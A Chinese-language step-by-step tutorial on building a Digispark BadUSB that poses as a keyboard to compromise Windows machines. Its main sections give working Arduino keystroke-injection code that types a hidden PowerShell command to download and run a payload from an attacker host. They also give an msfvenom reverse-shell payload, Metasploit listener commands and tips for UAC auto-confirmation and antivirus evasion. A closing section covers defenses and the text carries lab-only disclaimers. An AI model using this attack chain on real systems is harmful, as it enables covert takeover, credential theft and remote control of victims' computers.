从零构建BadUSB攻击：Windows系统渗透实战指南

1. 从零开始：认识BadUSB与准备工作

你可能听说过U盘病毒，但BadUSB完全是另一个层面的东西。简单来说，它不是一个存储在U盘里的普通病毒文件，而是直接“寄生”在U盘的“大脑”——固件里。这就好比一个演员，他不仅演技好，还直接修改了自己的身份证信息，让所有人都以为他天生就是个警察。电脑上的杀毒软件再厉害，也只能检查U盘这个“演员”随身携带的“道具箱”（存储空间），却无法检查他的“身份证”和“大脑”（固件）。所以，无论你格式化多少次U盘，这个“坏演员”的本性都不会改变，一插上电脑，它就能开始它的“表演”。

这种攻击的核心，在于“伪装”。BadUSB设备在插入电脑的瞬间，会告诉系统：“嗨，我是一个键盘！”电脑对此深信不疑，因为从硬件通信协议层面，它们就是一样的。既然被识别为键盘，那么这个“键盘”发送的所有按键指令，电脑都会乖乖执行，就像你自己在键盘上敲击一样。想象一下，一个伪装成你的键盘，在你不知情的情况下，自动输入命令打开后门、下载病毒、窃取文件，是不是有点后背发凉？这正是BadUSB攻击的威力所在。

在开始动手之前，我们需要准备一些“食材”和“厨具”。别担心，大部分都是免费且容易获取的。硬件方面，你需要一块Digispark开发板。它非常小巧便宜，基于ATTiny85芯片，核心能力就是把自己伪装成USB键盘。这就是我们本次实战的“硬件主角”。软件方面，我们需要几个工具：Arduino IDE（用来编写和上传攻击脚本）、Digistump的驱动（让电脑能识别这块开发板）、一个文本编辑器（比如Notepad++），以及一个清晰的头脑。我会把所有工具的获取方式在操作步骤中详细说明，确保你每一步都能跟上。

这里我必须强调，学习这项技术的目的，是为了更好地理解安全漏洞，从而加固你自己的系统。就像锁匠研究开锁技术是为了做出更好的锁。请务必在你自己完全可控的虚拟机或闲置电脑上进行所有实验，切勿对任何未经授权的设备进行测试。了解攻击，是为了更好的防御。

2. 搭建攻击环境：驱动安装与开发板配置

万事开头难，但只要我们按步骤来，就能把环境稳稳搭好。第一步是让我们的Windows系统能正确识别Digispark这块特殊的“键盘”。当你第一次插入Digispark开发板时，系统可能会提示找不到驱动。这时，就需要我们手动安装Digistump提供的驱动。

你需要先下载驱动包。找到一个名为“Digistump.Drivers”的文件夹，里面会根据你的系统位数（现在大多是64位）提供对应的安装程序，比如 DPInst64.exe。以管理员身份运行它，安装过程中，Windows可能会弹出“Windows安全”对话框，提示你安装未签名的驱动程序。这里需要你点击“始终信任来自‘Digistump LLC’的软件”，然后继续安装。这一步很关键，它赋予了这块小开发板在系统底层“说话”的权利。安装成功后，设备管理器中应该能正常识别到一个键盘或人体学输入设备，不再有黄色感叹号。

接下来是重头戏——配置Arduino IDE。Arduino IDE是我们用来给Digispark“编程大脑”的工具。首先，去Arduino官网下载并安装最新版的IDE。安装好后打开，你会发现默认的开发板列表里没有Digispark。我们需要给它添加一个“仓库地址”。点击“文件”->“首选项”，在“附加开发板管理器网址”一栏中，填入：http://digistump.com/package_digistump_index.json。然后点击“确定”。

现在，点击“工具”->“开发板”->“开发板管理器”。在弹出的管理器顶部搜索框中输入“Digistump”。稍等片刻，你会看到“Digistump AVR Boards by Digistump”，点击它旁边的“安装”按钮。这个过程可能需要一点时间，因为它要从网络下载开发板的支持包。如果下载缓慢或失败，可能是因为网络连接问题，请确保你的网络环境通畅。安装完成后，关闭开发板管理器。

回到主界面，再次点击“工具”->“开发板”，现在你应该能在列表底部找到“Digispark (Default - 16.5 MHz)”，选中它。接着，继续在“工具”菜单下，将“编程器”设置为“USBtinyISP”。至此，Arduino IDE就准备好了为我们的Digispark开发板服务了。这些步骤看似繁琐，但就像给新手机安装SIM卡和下载App一样，是一次性的准备工作，配置好之后，后续的编程和烧录就会非常顺畅。

3. 编写攻击脚本：从模拟按键到代码注入

环境搭好了，现在我们来给这块“智能键盘”编写“剧本”。剧本的语言，是一种类C的Arduino语言，但Digispark有一个非常方便的库叫 DigiKeyboard.h，它封装了所有模拟键盘按键的函数，让我们用起来很简单。

让我们从一个最经典的“Hello World”式攻击开始：自动打开Windows的计算器。这能验证我们的整个流程是否畅通。在Arduino IDE中，点击“文件”->“示例”->“DigisparkKeyboard”->“Keyboard”。这会打开一个示例脚本。我们在这个基础上修改。核心逻辑是：设备插入后，先稍作延迟（给系统识别设备留出时间），然后模拟按下Win+R组合键打开“运行”对话框，接着输入“calc”并按下回车。

具体的代码看起来是这样的：

#include "DigiKeyboard.h"
void setup() {
  DigiKeyboard.sendKeyStroke(0); // 先发送一个空按键，初始化
  delay(2000); // 等待2秒，确保系统就绪
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 按下Win+R
  delay(500);
  DigiKeyboard.println("calc"); // 输入“calc”
  delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // 按下回车
}
void loop() {
  // 什么都不做，攻击一次就结束
}

代码里的 delay 函数很重要，它表示毫秒级的等待。因为电脑执行命令需要时间，如果按键输入太快，系统可能反应不过来，导致命令不完整。DigiKeyboard.println 用于输入一串字符并自动回车。你可以把这个脚本上传到开发板试试看。点击Arduino IDE左上角的“上传”按钮（向右的箭头），此时IDE会提示“Plug in device now...”（现在插入设备），你需要在60秒内将Digispark开发板插入电脑USB口。看到提示“Thank you!”就表示烧录成功了。拔下再重新插入，你就会看到计算器自动弹出来——这种感觉非常奇妙，你第一次亲手让硬件“活”了过来。

当然，真正的攻击不会只是打开计算器。我们可以编写更复杂的脚本。例如，打开命令提示符（CMD）或PowerShell，然后执行命令。这里就涉及到代码注入了。一个常见的场景是让目标机从网络上下载并运行一个程序。我们可以用PowerShell的强大功能来实现。脚本的思路是：Win+R打开运行框，输入powershell -WindowStyle Hidden -Command “...”，在隐藏的窗口里执行下载命令。在编写这类脚本时，需要特别注意Windows用户账户控制（UAC）的绕过，有时需要模拟按下Alt+Y来确认提权。同时，命令字符串要避免被安全软件简单匹配，可以使用大小写混淆、字符串拆分等简单规避技巧。

4. 实战渗透：构建完整攻击链与控制目标

现在，我们来组合前面学到的知识，完成一次模拟的远程渗透攻击链。这个场景是：当BadUSB插入目标Windows电脑后，自动从攻击者控制的服务器下载一个后门程序，执行并建立反向连接，让攻击者获得目标机的控制权。

首先，我们需要一个“木马”程序。在安全测试中，我们通常使用Metasploit Framework的 msfvenom 工具来生成。假设攻击者的Kali Linux IP是 192.168.1.100。我们可以在Kali终端生成一个反向TCP连接的后门：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

这条命令会生成一个名为 payload.exe 的Windows可执行文件。然后，我们需要将这个文件放在一个能被目标机访问到的Web服务器上，比如用Python在Kali上快速搭建一个简易HTTP服务器：python3 -m http.server 80。

接着，编写BadUSB的Arduino脚本。脚本的核心是让目标机执行一条PowerShell命令，去下载并运行我们的 payload.exe。

#include "DigiKeyboard.h"
void setup() {
  DigiKeyboard.sendKeyStroke(0);
  delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R
  delay(500);
  // 输入一条经过混淆的PowerShell命令
  DigiKeyboard.println("powershell -NoP -W Hidden -Exec Bypass -C \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/run.ps1');\"");
  // 假设run.ps1是一个更复杂的下载执行脚本，或者直接使用一行命令下载exe并执行
  // 例如：DigiKeyboard.println(\"powershell -c \\\"iwr http://192.168.1.100/payload.exe -OutFile $env:TEMP\\\\p.exe; Start-Process $env:TEMP\\\\p.exe\\\"\");
  delay(1000);
  // 如果遇到UAC弹窗，发送ALT+Y确认（此操作需谨慎，并非总是有效）
  // DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
}
void loop() {}

将这段代码编译并上传到Digispark。请注意，这里的所有IP地址和URL都需要替换为你实验环境的真实地址。

在攻击者机器（Kali）上，我们需要启动Metasploit的监听器，等待目标机上线。打开终端，输入 msfconsole，进入后执行以下命令：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j

-j 参数表示作为后台任务运行。现在，监听器已经在4444端口静静等待了。

最后，将制作好的BadUSB插入目标Windows电脑（请务必使用虚拟机！）。观察Kali上的MSF控制台，如果一切顺利，你会看到 Meterpreter session 1 opened 的提示。这时，你输入 sessions -i 1 就可以交互式地控制目标机了，可以执行截屏、抓取密码哈希、上传下载文件等操作。通过这个完整的流程，你就能清晰地看到，一个简单的USB设备是如何作为初始突破口，一步步建立起一条从物理接触到网络控制的完整攻击链。理解了这个链条，你就能在防御时更有针对性，比如禁用自动运行、严格管理USB设备、部署终端检测与响应（EDR）软件来监控异常的进程创建和网络连接行为。

5. 防御视角：如何识别与防范BadUSB威胁

作为攻击者，我们完成了渗透；但作为安全从业者或普通用户，我们更要知道如何防御。防御BadUSB，核心思路就是打破它的攻击链。首先，最直接的物理防御是禁用不必要的USB端口。在企业环境中，可以通过组策略或专门的终端管理软件，将USB接口的权限设置为“仅充电”或完全禁用。对于存放敏感信息的电脑，这几乎是必须的。

其次，从系统行为上监控。BadUSB的本质是模拟HID设备输入。因此，任何“自动”出现的、快速的、连续的键盘输入，尤其是在登录界面或锁屏状态下，都值得高度警惕。一些高级的终端安全软件可以学习用户的正常输入模式，并对异常的高速自动化输入流进行报警。作为个人用户，一个简单的习惯是：当电脑处于锁屏或无人操作状态时，如果发现光标在动或窗口在自动打开，应立即拔掉所有可疑的USB设备并断网检查。

再次，加强权限控制。尽量使用标准用户账户而非管理员账户进行日常操作。这样，即使BadUSB尝试执行需要高权限的命令（如安装软件、修改系统设置），也会触发UAC（用户账户控制）弹窗，引起你的注意。虽然有些攻击脚本会尝试自动确认UAC，但这增加了攻击的复杂性和失败率。同时，可以配置软件限制策略或AppLocker，只允许运行来自可信位置和发布者的程序，阻止从临时目录（如 %TEMP%）启动的可执行文件，这能有效阻断下载型Payload的执行。

最后，保持安全意识是根本。不要随意捡拾或使用来历不明的U盘、充电宝等USB设备。在公共场合使用电脑时，注意防止他人短时间内接触你的USB接口。对于安全要求极高的环境，可以考虑使用“USB数据锁”或“USB端口锁”这种物理封堵设备。从技术原理上，由于BadUSB的恶意代码存在于固件中，常规的杀毒软件确实难以检测。因此，防御必须采用“深度防御”策略，结合物理管控、系统加固、行为监控和人员意识培训，层层设防，才能最大程度地降低风险。我自己的经验是，在内部红蓝对抗演练中，BadUSB往往是突破内网隔离最有效的物理手段之一，这也反向说明了为什么企业必须重视办公区域的物理安全，不能只盯着网络防火墙。